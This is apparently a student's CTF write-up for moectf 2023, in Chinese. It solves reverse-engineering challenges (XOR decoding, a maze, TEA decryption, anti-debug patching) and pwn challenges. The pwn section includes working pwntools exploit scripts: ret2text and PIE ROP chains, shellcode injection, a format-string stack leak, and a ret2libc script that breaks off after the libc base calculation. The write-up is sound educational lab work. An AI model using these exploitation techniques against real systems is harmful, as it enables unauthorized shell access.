  flOldProtect[1] = -858993460;
  flOldProtect[0] = (DWORD)malloc(8u);
  result = VirtualProtect((char *)&loc_4014D0 - (unsigned int)&loc_4014D0 % 0x1000, 0x1000u, 0x80u, flOldProtect);
  for ( i = 0; i < 122; ++i )
  {
    *((_BYTE *)&loc_4014D0 + i) ^= 0x66u;
    result = i + 1;
  }
  return result;
}

VirtualProtect修改了内存页的权限,可读可写可执行,并填充0xcccc初始化了,然后下面loc_4014D0 按字节异或0x66u 122次

使用ida中的script command把0x4014D0以及往后的121个字节处理一下

for i in range(0x4014D0,0x40154a):
    patch_byte(i,get_wide_byte(i)^0x66)

出现了push ebp,下面的全是db,转成数组然后转code转function,注意第一个db的位置是4014D1

int __cdecl sub_4014D1(int a1, char *Str)
{
  size_t i; // [esp+0h] [ebp-8h]
  int v4; // [esp+4h] [ebp-4h]

  v4 = 1;
  for ( i = 0; i < strlen(Str); ++i )
  {
    if ( ((unsigned __int8)(Str[i] + 57) ^ 0x39) != (unsigned __int8)byte_40A000[i] )
      v4 = 0;
  }
  return v4;
}

在if中是

void __cdecl sub_401050(int a1)
{
  JUMPOUT(0x4014D0);
}

所以只需要把byte_40A000[i]异或一遍0x39 -57然后转ascii就能拿到flag

flag = [0x9f, 0x91, 0xa7, 0xa5, 0x94, 0xa6, 0x8d, 0xb5, 0xa7, 0x9c, 0xa6, 0xa1, 0xbf, 0x91, 0xa4, 0x53, 0xa6, 0x53, 0xa5, 0xa3, 0x94, 0x9b, 0x91, 0x9e, 0x8f, 0x0, 0x0, 0x0]
flag = [i ^ 0x39 for i in flag]
flag = [i - 57 for i in flag]

for i in flag:
    print(chr(i),end="")

moectf{Self_Mod1f1cation}

junk_code

sub_45A9A0(Str, 18) && sub_459EBF(v5, 18)中有call花指令影响ida分析,只需要patch 0x90(nop)掉ida就能正常分析了

Str1 = 'hj`^oavt+pZm`h+q._'
Str1 = [ord(i) + 5 for i in Str1]

Str2 = [
    0x39, 0x12, 0x0E, 0x55, 0x39, 0x0C, 0x13, 0x08,
    0x0D, 0x39, 0x05, 0x56, 0x02, 0x55, 0x47, 0x47,
    0x47, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
Str2 = [int(i) ^ 0x66 for i in Str2]

for i in range(len(Str1)):
    print(chr(Str1[i]),end="")
for i in range(len(Str2)):
    print(chr(Str2[i]),end="")

RUST

cargo是rust的包管理器

cargo new project_aaaa 创建一个项目

cargo bulid 构建 cargo run 运行

https://rustwiki.org/zh-CN/book/ rust基础语法

反编译后的代码量比较多,对于容器还有一些函数的操作,会有很多类型校验,值校验的操作,所以伪代码会比较多

fn main() {
    let mut v28 = String::new();
    
    std::io::stdin().read_line(&mut v28).unwrap();
    
    let input = v28.trim_end();
    
    if input.len() != 30 {
        println!("Error: Input length must be 30 characters");
        std::process::exit(1);
    }
    
    let byte_array: Vec<u8> = vec![
        0xE5, 0xE7, 0xED, 0xEB, 0xFC, 0xEE, 0xF3, 0xDA,
        0xFD, 0xFB, 0xFC, 0xD7, 0xFA, 0xED, 0xFE, 0xD7,
        0xFF, 0xE1, 0xE4, 0xE4, 0xD7, 0xEA, 0xED, 0xD7,
        0xE9, 0xFF, 0xEE, 0xFD, 0xB9, 0xF5
    ];
    
    let mut v34: Vec<u8> = input.chars().map(|c| c as u8).collect();
    
    let mut v38 = true;
    
    for (i, &byte) in byte_array.iter().enumerate() {
        if byte ^ 0x88 != v34[i] {
            v38 = false;
            break;
        }
    }
    if v38 {
        println!("Success");
    } else {
        println!("Failure");
    }
    println!("");
}

大概是这样的一个逻辑

得到flag moectf{Rust_rev_will_be_awfu1}

ezandroid

String s = input.getText().toString();
                if (s.length() != 23) {
                    Toast.makeText(MainActivity.this.getApplicationContext(), "长度不对哦", 0).show();
                } else if (MainActivity.this.check(s) == 1) {
                    Context applicationContext = MainActivity.this.getApplicationContext();
                    Toast.makeText(applicationContext, "OK!RIGHT,flag is moectf{" + s + "}", 0).show();
                } else {
                    Toast.makeText(MainActivity.this.getApplicationContext(), "Try to reverse the native lib!", 0).show();
                }


    public native int check(String str);

    static {
        System.loadLibrary("ezandroid");
    }

根据hint去查询资料了解到jni的代码存储在lib目录下的.so文件里面,然后在调用这些函数之前分动态注册和静态注册,静态注册的话搜索一个完整路径的类名就能找到代码位置,动态注册的话在注册的位置一路找到引用反编译就能找到位置

存在jni_onload就是动态注册

qword_3BF8 = sub_173C(v6, "com/doctor3/ezandroid/MainActivity");
    if ( qword_3BF8 )
    {
      if ( (sub_1770(v6, qword_3BF8, off_2938, 1LL) & 0x80000000) != 0 )
        v4 = -1;
      else
        v4 = 65540;
    }

这个sub_1770应该是注册的函数,off_2938应该是要找的东西

                                        ; LOAD:0000000000000168↑o ...
.data.rel.ro:0000000000002938 off_2938        DCQ aCheck              ; DATA XREF: JNI_OnLoad+148↑o
.data.rel.ro:0000000000002938                                         ; "check"
.data.rel.ro:0000000000002940                 DCQ aLjavaLangStrin     ; "(Ljava/lang/String;)I"
.data.rel.ro:0000000000002948                 DCQ sub_17B4

能看到传参的类型 sub17B4就是check的实现

bool __fastcall sub_D7C(_BYTE *inputString)
{
  _BYTE *v1; // x8
  bool v3; // [xsp+14h] [xbp-1Ch]
  char *flag; // [xsp+18h] [xbp-18h]
  _BOOL4 v6; // [xsp+2Ch] [xbp-4h]

  flag = &asc_3B50[18];
  while ( 2 )
  {
    v3 = 0;
    if ( *inputString )
      v3 = *flag != 42;
    if ( v3 )
    {
      v1 = inputString++;
      switch ( *v1 )
      {
        case 'a':
          --flag;
          continue;
        case 'd':
          ++flag;
          continue;
        case 's':
          flag += 15;
          continue;
        case 'w':
          flag -= 15;
          continue;
        default:
          v6 = 0;
          break;
      }
    }
    else
    {
      v6 = *flag == 35;
    }
    break;
  }
  return v6;
}

ws应该是上下移的意思,可以知道迷宫的宽度为15

***************
***@******#****
***.******.****
*...******.****
*.********.****
*.****.....****
*.****.********
*......********
***************

试了一下错了,重新看了一下,发现看的比较快 开头有个memcpy忽略了

  strcpy(
    v7,
    "******************@**************.************...****#..*****.********.*****.****.....*****.****.*********......****"
    "*******************");
  v5 = __strlen_chk(v7, 0x88u);
  __memcpy_chk(asc_3B50, v7, v5, 136LL);

asc_3B50就是看错的那个迷宫的地址

***************
***@***********
***.***********
*...****#..****
*.********.****
*.****.....****
*.****.********
*......********
***********

moectf{ssaassssdddddwwddddwwaa}

GUI [有问题]

die显示是.net

WndClass.lpfnWndProc = sub_450CDF;

这里设置了窗口过程的函数指针,他会处理窗口相关的信息

LRESULT __stdcall sub_45BF90(HWND hWndParent, UINT Msg, WPARAM wParam, LPARAM lParam)

hWbdParent是窗口的句柄,msg是消息的id,这个wparam和lparam好像是会根据消息的不同穿过来不同的附加消息。

关键是这里,这里是有个c++类,ida将这个类平坦开了,显示很奇怪,所以还是从汇编的视图去分析逻辑

if ( (unsigned __int16)wParam == 1 )
      {
        DlgItem = GetDlgItem(hWndParent, 2);
        GetWindowTextW(DlgItem, String, 1024);
        sub_450C94(String);
        v13 = 0;
        sub_450A0A(v7, v8);
        LOBYTE(v13) = 1;
        sub_450C94(a91);
        if ( (unsigned __int8)sub_4531AB(v7, v6) )
          MessageBoxW(hWndParent, Text, L"hint", 0);
        else
          MessageBoxW(hWndParent, L"Sorry, flag error.", L"hint", 0);
        sub_4529B8(v6);
        LOBYTE(v13) = 0;
        sub_4529B8(v7);
        v13 = -1;
        sub_4529B8(v8);
      }

从inputString开始分析,这里ecx看起来很奇怪,查询资料才知道这个ecx是一个this指针

push    eax             ; hWnd
call    ds:GetWindowTextW
cmp     esi, esp
call    j___RTC_CheckEsp
lea     eax, [ebp+String]
push    eax
lea     ecx, [ebp+var_498]
call    sub_450C94
mov     [ebp+var_4], 0
lea     eax, [ebp+var_498]
push    eax
lea     ecx, [ebp+var_4BC]
push    ecx
call    sub_450A0A
add     esp, 8

unwind

这个题一开始咱遇到挺多问题的,不过也学会 seh的程序怎么分析,哪些操作会出现异常被try块捕获 动态调试 一点点找反调试函数的方法。

一开始我就从静态上分析,先去学习了SEH大概是怎么样的一个东西,然后明白了SEH会对我分析程序运行顺序流程有影响,所以我需要关注什么汇编代码会出现异常,try块捕获后会跳转到哪里。

.text:00415908 ;   __try { // __except at loc_415928
.text:00415908                 mov     [ebp+ms_exc.registration.TryLevel], 0
.text:0041590F                 mov     large dword ptr ds:0, 0
.text:0041590F ;   } // starts at 415908
.text:00415919                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
.text:00415920                 jmp     short loc_41597A

这是第一个try块,这里往ds:0 写数据是会触发一个异常的,查询资料后知道, ds:0是操作系统捕获空指针解引用的地址,这个地址是受保护的,写数据会触发异常

.text:00411820 sub_411820      proc near               ; CODE XREF: sub_4110FF↑j
.text:00411820
.text:00411820 var_E4          = dword ptr -0E4h
.text:00411820 var_10          = byte ptr -10h
.text:00411820 var_C           = dword ptr -0Ch
.text:00411820 var_4           = dword ptr -4
.text:00411820
.text:00411820                 push    ebp
.text:00411821                 mov     ebp, esp
.text:00411823                 sub     esp, 0D0h
.text:00411829                 push    ebx
.text:0041182A                 push    esi
.text:0041182B                 push    edi
.text:0041182C                 lea     edi, [ebp+var_10]
.text:0041182F                 mov     ecx, 4
.text:00411834                 mov     eax, 0CCCCCCCCh
.text:00411839                 rep stosd
.text:0041183B                 mov     eax, ___security_cookie
.text:00411840                 xor     eax, ebp
.text:00411842                 mov     [ebp+var_4], eax
.text:00411845                 mov     [ebp+var_C], offset loc_4112FD
.text:0041184C                 push    [ebp+var_C]
.text:0041184F                 push    large dword ptr fs:0
.text:00411856                 mov     large fs:0, esp
.text:0041185D                 int     3               ; Trap to Debugger
.text:0041185E                 mov     eax, [esp+0E4h+var_E4]
.text:00411861                 mov     large fs:0, eax
.text:00411867                 add     esp, 8
.text:0041186A                 pop     edi
.text:0041186B                 pop     esi
.text:0041186C                 pop     ebx
.text:0041186D                 mov     ecx, [ebp+var_4]
.text:00411870                 xor     ecx, ebp        ; StackCookie
.text:00411872                 call    j_@__security_check_cookie@4 ; __security_check_cookie(x)
.text:00411877                 add     esp, 0D0h
.text:0041187D                 cmp     ebp, esp
.text:0041187F                 call    j___RTC_CheckEsp
.text:00411884                 mov     esp, ebp
.text:00411886                 pop     ebp
.text:00411887                 retn
.text:00411887 sub_411820      endp

第二个异常的位置就是在这里,int3是 x86里面的一个软中断指令,用来触发断点异常,调试器会用这个int3实现断点功能(这有个坑,关于动态调试的)

然后得出的逻辑是 inputString char[] 64这么一个数据 -> 分成八个等长的子串 ->前四个使用tea1和key[]数组加密->后四个使用tea2和key[]数组加密-> cmp inputString flagString -> jz flag success

大概是这么一个逻辑

遇到的第一个问题是,这个tea1和tea2其实是一个东西,call的时候咱没看清楚函数名字(反编译插件显示有些问题,就去跟着两个tea encode写了一遍代码qaq 。不过发现在分析算法的时候,一开始总点关注对输入输出是怎么样的一个处理流程,然后再给偏移地址全部打上标签,然后就能很快分析清楚了qaq)

然后写了decode之后怎么解都是只能解出前半段,看来看去逻辑都没有问题,调试的话就会莫名其妙的闪退

从main开始往下单步会发现

.text:0041589A                 call    j_@__CheckForDebuggerJustMyCode@4 ; __CheckForDebuggerJustMyCode(x)
.text:0041589F                 call    sub_4113E3
.text:004158A4                 mov     esi, esp
.text:004158A6                 push    offset Buffer   ; "Welcome to moectf2023!!! Now you find Y"...

运行到4113E3就会闪退,跟进去看一下

.text:004117B7                 push    offset ModuleName ; "Ntdll"
.text:004117BC                 call    ds:GetModuleHandleA
.text:004117FF                 .text:004117FF                 call    [ebp+var_14]

发现这里面加载了ntdll ,然后在这里call [ebp+var_14]退出了把这个sub_4113E3 nop掉发现能往下调试了

下面作用类似于scanf 获取输入的函数里面也会闪退

.text:00411890 ; int __cdecl sub_411890(char *Format, char)
.text:00411890 sub_411890      proc near               ; CODE XREF: sub_4113CA↑j
.text:00411890
.text:00411890 Format          = dword ptr  8
.text:00411890 arg_4           = byte ptr  0Ch
.text:00411890
.text:00411890                 push    ebp
.text:00411891                 mov     ebp, esp
.text:00411893                 sub     esp, 0C0h
.text:00411899                 push    ebx
.text:0041189A                 push    esi
.text:0041189B                 push    edi
.text:0041189C                 mov     edi, ebp
.text:0041189E                 xor     ecx, ecx
.text:004118A0                 mov     eax, 0CCCCCCCCh
.text:004118A5                 rep stosd
.text:004118A7                 mov     ecx, offset unk_41C063
.text:004118AC                 call    j_@__CheckForDebuggerJustMyCode@4 ; __CheckForDebuggerJustMyCode(x)
.text:004118B1                 call    sub_4113E3
.text:004118B6                 mov     eax, dword ptr [ebp+arg_4]
.text:004118B9                 push    eax             ; char
.text:004118BA                 mov     ecx, [ebp+Format]
.text:004118BD                 push    ecx             ; Format
.text:004118BE                 call    sub_4113C5
.text:004118C3                 add     esp, 8
.text:004118C6                 pop     edi
.text:004118C7                 pop     esi
.text:004118C8                 pop     ebx
.text:004118C9                 add     esp, 0C0h
.text:004118CF                 cmp     ebp, esp
.text:004118D1                 call    j___RTC_CheckEsp
.text:004118D6                 mov     esp, ebp
.text:004118D8                 pop     ebp
.text:004118D9                 retn
.text:004118D9 sub_411890      endp

call sub_4113E3 这个地方,下面还有个call那个是获取输入的

.text:004117B7                 push    offset ModuleName ; "Ntdll"
.text:004117BC                 call    ds:GetModuleHandleA
    
.text:004117F1                 call    ds:GetCurrentThread
     
.text:004117FF                 call    [ebp+var_14]

这里也加载了ntdll 获取了线程,在call [ebp+var_14] 这断掉了,nop掉call sub_4113E3后程序能正常调试了

上面说的坑是,在nop掉这些东西后开始调试程序,他只能从start开始,start里面有一个int3,我看这个也没有什么影响,就给他抛出了,后面到了程序逻辑里面,程序逻辑里面也有个int3,ida自动给我抛出了。一开始start那不抛出int3他就没有什么问题

动态了之后才知道,inputString 后32位 encode了两次,所以第一次写脚本只能解出一半

def decrypt(ciphertext, key):
    v0, v1 = ciphertext
    k0, k1, k2, k3 = key
    sum_ = 0xC6EF3720
    for _ in range(32):
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum_) ^ ((v0 >> 5) + k3)
        v1 = v1 & 0xFFFFFFFF
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum_) ^ ((v1 >> 5) + k1)
        v0 = v0 & 0xFFFFFFFF
        sum_ -= 0x9E3779B9
        sum_ = sum_ & 0xFFFFFFFF
    return (v0, v1)

def key_to_integers(key_str):
    padded_key = key_str.ljust(16, '\0')
    return tuple(int.from_bytes(padded_key[i:i+4].encode(), 'little') for i in range(0, len(padded_key), 4))

def data_bytes_to_tuples(data_bytes):
    data_list = [int.from_bytes(data_bytes[i:i+4], 'little') for i in range(0, len(data_bytes), 4)]
    return list(zip(data_list[::2], data_list[1::2]))

def tuples_to_bytes(data_tuples):
    byte_list = [item.to_bytes(4, 'little') for sublist in data_tuples for item in sublist]
    return b''.join(byte_list)

keys = ["DX3906", "doctor3", "FUX1AOYUN", "R3verier"]
key_integers = [key_to_integers(key) for key in keys]

flag1 = [90, 227, 107, 228, 6, 135, 2, 79, 67, 223, 205, 193, 119, 152, 107, 219, 143, 56, 67, 153, 227, 147, 34, 181, 35, 253, 176, 28, 229, 227, 238, 206]
flag2 = [47, 29, 173, 43, 164, 21, 152, 249, 216, 235, 37, 250, 107, 33, 183, 114, 185, 3, 51, 46, 217, 76, 235, 123, 245, 167, 72, 249, 144, 157, 56, 252]

# flag1 decode
f1 = data_bytes_to_tuples(flag1)
decrypted_data_list_1 = [decrypt(data_tuple, key_integer) for data_tuple, key_integer in zip(f1, key_integers)]
decrypted_bytes_1 = tuples_to_bytes(decrypted_data_list_1)
decrypted_string_1 = decrypted_bytes_1.decode(errors='replace')

# flag2 decode1
f2 = data_bytes_to_tuples(flag2)
decrypted_data_list_2_1st = [decrypt(data_tuple, key_integer) for data_tuple, key_integer in zip(f2, key_integers)]
decrypted_bytes_2_1st = tuples_to_bytes(decrypted_data_list_2_1st)


#flag2 decode2
f2_2nd = data_bytes_to_tuples(decrypted_bytes_2_1st)
decrypted_data_list_2_2nd = [decrypt(data_tuple, key_integer) for data_tuple, key_integer in zip(f2_2nd, key_integers)]
decrypted_bytes_2_2nd = tuples_to_bytes(decrypted_data_list_2_2nd)
decrypted_string_2_2nd = decrypted_bytes_2_2nd.decode(errors='replace')

result = decrypted_string_1 + decrypted_string_2_2nd

print(result)

得到flag moectf{WoOo00Oow_S0_interesting_y0U_C4n_C41l_M3tW1c3_BY_Unw1Nd~}

unwind栈展开的例子

#include <iostream>
#include <stdexcept>

class ClassA {
public:
    ClassA() { std::cout << "ClassA constructed.\n"; }
    ~ClassA() { std::cout << "ClassA destructed.\n"; }
};

class ClassB {
public:
    ClassB() { std::cout << "ClassB constructed.\n"; }
    ~ClassB() { std::cout << "ClassB destructed.\n"; }
};

class ClassC {
public:
    ClassC() {
        std::cout << "ClassC constructed.\n";
        throw std::runtime_error("Exception from ClassC constructor");
    }
    ~ClassC() { std::cout << "ClassC destructed.\n"; }
};

int main() {
    try {
        ClassA a;
        ClassB b;
        ClassC c;
    }
    catch (const std::exception& e) {
        std::cout << "Caught exception: " << e.what() << std::endl;
    }
    return 0;
}

EZNET[未解决-没思路]

PWN

test_nc

查看gift提示flag是隐藏的,ls -al 发现.flag cat

moectf{BEgOXB3-Sk6bTQrihNqE5rw4G46OQIHS}

baby_calculator

后面发现flag出不来,是因为有个换行符,recvline到换行符就停了,用recvrepeat设置个超时时间就读出来了

from pwn import *
import re

pattern = r"(\d+)\s*([\+\-\*\/])\s*(\d+)\s*=\s*(\d+)"


p = remote('192.168.144.193',56098)
p.recvregex(b'Now..start!\n')


for i in range(100):
    print(p.recvline()) ; print(p.recvline())

    s = p.recvline().decode('utf-8')
    match = re.search(pattern, s)

    n1, operator, n2, r = match.groups()
    n1, n2 , r = int(n1) ,int(n2) , int(r)
    print(n1, operator, n2, r)

    if operator == '+':
        n1 = n1 + n2
    elif operator == '-':
        n1 = n1 - n2

    if(r == n1):
        p.sendline(b'BlackBird\n')
    else:
        p.sendline(b'WingS\n')

print(p.recvrepeat(5))

moectf{H4ve_y0u_rea11y_useD_Pwnt00ls??????}

fd

https://wiyi.org/linux-file-descriptor.html

https://www.cnblogs.com/love-jelly-pig/p/10048483.html

去查询了一下资料,当进程打开一个文件内核会返回一个FILE Descriptor,进程可以通过fd对文件进行操作

这个程序的意思是输入fd,然后通过fd读数据输出,fd 0 1 2都被系统占用了分别是stdin stdout stderr,所以3是flag。

fd被销毁前通过dup2函数将文件描述符复制到了new_fd。new_fd = 4 * 3 | 0x29A。new_fd =670,所以只需要传入670就能将flag读出来

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int input; // [rsp+4h] [rbp-6Ch] BYREF
  int fd; // [rsp+8h] [rbp-68h]
  int new_fd; // [rsp+Ch] [rbp-64h]
  char flag[80]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v8; // [rsp+68h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  input = 0;
  init();
  puts("Do you know fd?");
  fd = open("./flag", 0, 0LL);
  new_fd = (4 * fd) | 0x29A;
  dup2(fd, new_fd);
  close(fd);
  puts("Which file do you want to read?");
  puts("Please input its fd: ");
  __isoc99_scanf("%d", &input);
  read(input, flag, 0x50uLL);
  puts(flag);
  return 0;
}
moectf{3H1lDl8GIZHEi0_IWpA4krCAChNI3bpd}

int_overflow

https://ctf-wiki.org/pwn/linux/user-mode/integeroverflow/introduction/

int32溢出的原理是进位的时候把最高位的正负符号位改变了,所以变成负数了。

所以要计算变成-114514,要明白 i32的大小范围 2**31 -1。-1是因为有个0

所以只需要计算2**32 - 114514 就能求出溢出到-114514需要输入多少,得到4294852782

void __cdecl vuln()
{
  int n; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Welcome to Moectf2023.");
  puts("Do you know int overflow?");
  puts("Can you make n == -114514 but no '-' when you input n.");
  puts("Please input n:");
  get_input(&n);
  if ( n == -114514 )
    backdoor();
  puts("Maybe you should search and learn it.");
}
moectf{6iD1QTUJSScIKT-_6vm-6nWQs8GvJK6-}

ret2text_32

ssize_t vuln()
{
  size_t nbytes; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[84]; // [esp+10h] [ebp-58h] BYREF

  puts("Welcome to my stack in MoeCTF2023!");
  puts("What's your age?");
  __isoc99_scanf("%d", &nbytes);
  puts("Now..try to overflow!");
  return read(0, buf, nbytes);
}

程序里面有plt system的,有个/bin/sh的gadget
这里只需要计算buf到返回地址的距离,system填充栈底下的返回地址,然后填充system的返回地址还有/bin/sh的地址,就能将/bin/sh传参到system

from pwn import *

ip = "127.0.0.1"
port = 58873
p = remote(ip, port)
# p = process("./pwn")


line = p.recvline() ;print(line) # Welcome to my stack in MoeCTF2023!
line = p.recvline() ;print(line) # What's your age?


system_addr = 0x8049070 # plt func system
command_addr = 0x804c02c # /bin/sh addr

# offset = char buf[84] + var_4 4 byte = s ; s + 4 = r
payload = b'A' * (84 + 4 + 4)
payload += p32(system_addr)
payload += b'C' * 4
payload += p32(command_addr)

p.sendline(str(len(payload)).encode())
line = p.recvline() ;print(line) # What's your age?

p.sendline(payload)

p.interactive()
moectf{eV9akrlQlwtJVvpBAk45YMO18UHvBv4n}

ret2text_64

咱是笨蛋,因为64位栈对齐想了好久 https://blog.csdn.net/hu_c_t_f/article/details/131902515

64位使用rdi传第一个参数 传参的顺序分别是rdi rsi rdx rcx r8 r9,所以需要找一个pop rdi ret的gadget

使用ROPgadget --binary pwn | grep pop | grep rdi 就能筛选

offset + ret + gadget + /bin/sh + func system()

from pwn import *

ip = "localhost"
port = 50215
p = remote(ip, port)
# p = process("./pwn")

line =  p.recvline() ;print(line)
line =  p.recvline() ;print(line)
line =  p.recvline() ;print(line)

string_addr = 0x404050 # bin/sh address
gadget_addr = 0x4011be   # pop rdi ret
system_addr = 0x401090 # system(char * command) address
ret_addr = 0x040101a # ret addr


payload = b'A' * (80 + 8) # offset buf[80] + 8 = r
payload += p64(ret_addr) #64位 gadget中有个ret 消耗了8字节,这里需要再ret一次保持栈对齐
payload += p64(gadget_addr)
payload += p64(string_addr)
payload += p64(system_addr)

p.sendline(str(len(payload)).encode())

line =  p.recvline() ;print(line)

p.sendline(payload)

p.interactive()
moectf{KsAymn0LqrzuRUcO3QI71N_u3UzZz1m7}

shellcode_level0

这里的意思是,我传进去的数据会先放到rbp+var_70的位置,然后下面会call我传进去的数据,查询了一下然后根据题目的提示,我只需要用pwntools中的shellcraft来生成shellcode然后sendline过去就好了

lea     rax, [rbp+var_70]
mov     rdi, rax
mov     eax, 0
call    _gets
lea     rax, [rbp+var_70]
mov     [rbp+var_78], rax
mov     rdx, [rbp+var_78]
mov     eax, 0
call    rdx
from pwn import *

ip = "192.168.1.111"
port = 58988
p = remote(ip, port)
context(arch='amd64', os='linux')
# p = process("./shellcode_level0")

shellcode  =  asm(shellcraft.sh())
payload = shellcode

p.sendline(payload)

p.interactive()

这里要先设置一下context函数,设置好平台再生成shellcode sendline过去

moectf{ddP0bHRsw_l0B6HQnDFtG62TOXAVXFv6}

shellcode_level1

mmap和mprotect函数是干嘛用的?我的shellcode怎么没有执行权限?

mmap是类似于malloc但是可以指定内存的读写执行权限是怎么样的,然后mprotect是在已经分配好的内存上面修改内存的权限

在case4里面7的意思是PROT_READ | PROT_WRITE | PROT_EXEC 的结果,可读可写可执行

int mprotect(void *addr, size_t len, int prot);
mprotect(paper4, 0x1000uLL, 7);

然后只需要case4 shellcode就没问题了,pwntools脚本是这样写的

import posixpath
from pwn import *


ip = "192.168.129.194"
port = 57941
p = remote(ip, port)
# p = process("./shellcode_level1")

context(arch='amd64', os='linux')

line = p.recvline(); print(line) # Which paper will you choose?

p.sendline(b'4') # mprotect(paper4, 0x1000uLL, 7);

line = p.recvline(); print(line) # what do you want to write?

shellcode  =  asm(shellcraft.sh()) ; payload = shellcode
p.sendline(payload) #

p.interactive()

uninitialized_key

void __cdecl get_name()
{
  int age; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  age = 0;
  puts("Please input your age:");
  __isoc99_scanf("%d", &age);
  printf("Your age is %d.\n", (unsigned int)age);
}
void __cdecl get_key()
{
  int key; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Please input your key:");
  __isoc99_scanf("%5d", &key);
  if ( key == 114514 )
  {
    puts("This is my flag.");
    system("cat flag");
  }
}

key和age在栈中的地址一样的,所以只需要在get_name中设置age变量为114514,然后scanf这里输入一个非数字的符号,就不会初始化,比如说=号

moectf{V5glae83rq6G1nSbZa6pGtWaflnHjE1U}

format_level0

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int fd; // [esp+0h] [ebp-B0h]
  char flag[80]; // [esp+4h] [ebp-ACh] BYREF
  char name[80]; // [esp+54h] [ebp-5Ch] BYREF
  unsigned int v7; // [esp+A4h] [ebp-Ch]
  int *p_argc; // [esp+A8h] [ebp-8h]

  p_argc = &argc;
  v7 = __readgsdword(0x14u);
  init();
  memset(flag, 0, sizeof(flag));
  memset(name, 0, sizeof(name));
  fd = open("flag", 0, 0);
  if ( fd == -1 )
  {
    puts("open flag error!");
    exit(0);
  }
  read(fd, flag, 0x50u);
  close(fd);
  puts("Please input your name:");
  read(0, name, 0x50u);
  printf("Your name is: ");
  printf(name);
  return 0;
}

搜索后发现 printf(name)这里存在格式化字符串漏洞,可以用%x来泄露栈上的数据,没有加参数列表似乎是从栈起始地址开始读,%x是以16进制输出数据,32位是4字节。

payload

%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

linux上是小端序存储,所以需要反转一下变成大端序显示

flag = "ff886d4c.50.56648362.ff886e74.0.3.63656f6d.617b6674.4c4c5059.67426344.6e577272.70453348.484b5041.784f3151.64774731.7d515737.a.0.0.0.0.0.0.0.0.0.252e7825"
flag = flag.split('.')

def convert(segment):
    return segment[6:8] + segment[4:6] + segment[2:4] + segment[0:2]

decoded_str_big_endian = ''.join(bytes.fromhex(convert(flag)).decode('ascii', errors='ignore') for flag in flag if len(flag) == 8)

print(decoded_str_big_endian)
moectf{aYPLLDcBgrrWnH3EpAPKHQ1Ox1Gwd7WQ}

PIE_enabled

查询了一下PIE是一种程序每次运行时候都能加载到不同内存地址的技术,每次加载整个程序中的代码数据和堆栈都会随机化

然后这里把vuln函数的地址打印了出来,查询资料后发现,pie是基地址会变,但是偏移地址是不变的,可以用这里打印的vuln的地址计算出基地址然后用偏移地址来确定数据和函数的位置

ssize_t vuln()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  puts("This time i will give u a gift!\n");
  printf("Vuln's address is:%p\n", vuln);
  return read(0, buf, 0x100uLL);
}

具体怎么操作我是看这篇文章学会的
https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit

首先需要将context.binary 设置成 ELF(./pwn)

elf.address = vuln - elf.sym['vuln'] 这里根据elf的符号表的偏移 算出基地址

下面payload中gadget只需要加上elf.address 这个基地址就可以了

from pwn import *

#
ip = "192.168.1.129"
port = 57376
elf = context.binary = ELF('./pwn')
# p = process()
p = remote(ip, port)

line = p.recvuntil(b"This time i will give u a gift!\n"); print(line) # This time i will give u a gift!\n
line = p.recvuntil(b"Vuln's address is:"); print(line) # Vuln's address is:%p\n

line = p.recvline(); print(line)
line = line.replace(b"\n", b""); print(line)

vuln = int(line, 16)
elf.address = vuln - elf.sym['vuln']

payload = b'a' * (80 + 8) # offset = buf[80] + 8(byte) = r

payload += p64(elf.address + 0x00101a) # ret_address
payload += p64(elf.address + 0x001323) # gadget_address pop rdi ; ret
payload += p64(elf.address + 0x004010) # /bin/sh address
payload += p64(elf.sym['system'])

p.sendline(payload)

p.interactive()
moectf{3N3evVehPhOpH9nNLAd6KmD_Z8jhY36t}

ret2libc

ssize_t vuln()
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  puts("I hide the b4ckdoor..\n");
  puts("But..maybe libc can help u??\n");
  return read(0, buf, 0x100uLL);
}

根据题目意思还有程序逻辑,system函数被移除了,所以要到libc里面找

linux每次加载程序的时候libc的基地址都会改变,但是libc内的偏移是不变的,想要调用system这个函数,首先要泄露libc的基地址,然后根据偏移地址去拿到system,这时候可以构造一个这样的调用链puts_plt(puts_got) 把got表中的puts的位置打印出来, 然后用 puts_got 减去libc中基地址与puts的偏移关系,就能拿到libc的基地址,这时候我们需要再回到vuln function里面,再read一遍,用之前的libc_base + system偏移 以及 libc_base + bin/sh的偏移 把shell拿到


from pwn import *

elf = context.binary = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

ip = "192.168.1.111"
port = 63227

# p = process()
p = remote(ip,port)


line = p.recvuntil(b"I hide the b4ckdoor..\n"); print(line)
line = p.recvline(); print(line)
line = p.recvuntil(b"But..maybe libc can help u??\n"); print(line)
line = p.recvline(); print(line)



puts_got = elf.got['puts'] # got 表中的 puts地址
puts_plt = elf.plt['puts'] # plt
gadget_address = 0x40117e  # pop rdi; ret

payload = b'A' * (80 + 8)  # offset r
payload += p64(gadget_address)  # pop rdi; ret
payload += p64(puts_got)  # puts_plt(put_gots)
payload += p64(puts_plt)  # puts(put_gots) 打印put_got的地址
payload += p64(0x4011E8)

p.sendline(payload)

# 接收泄露的地址
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(leaked_puts)}")

# 计算libc的基址
put_offset = libc.symbols['puts']
libc_base = leaked_puts - put_offset
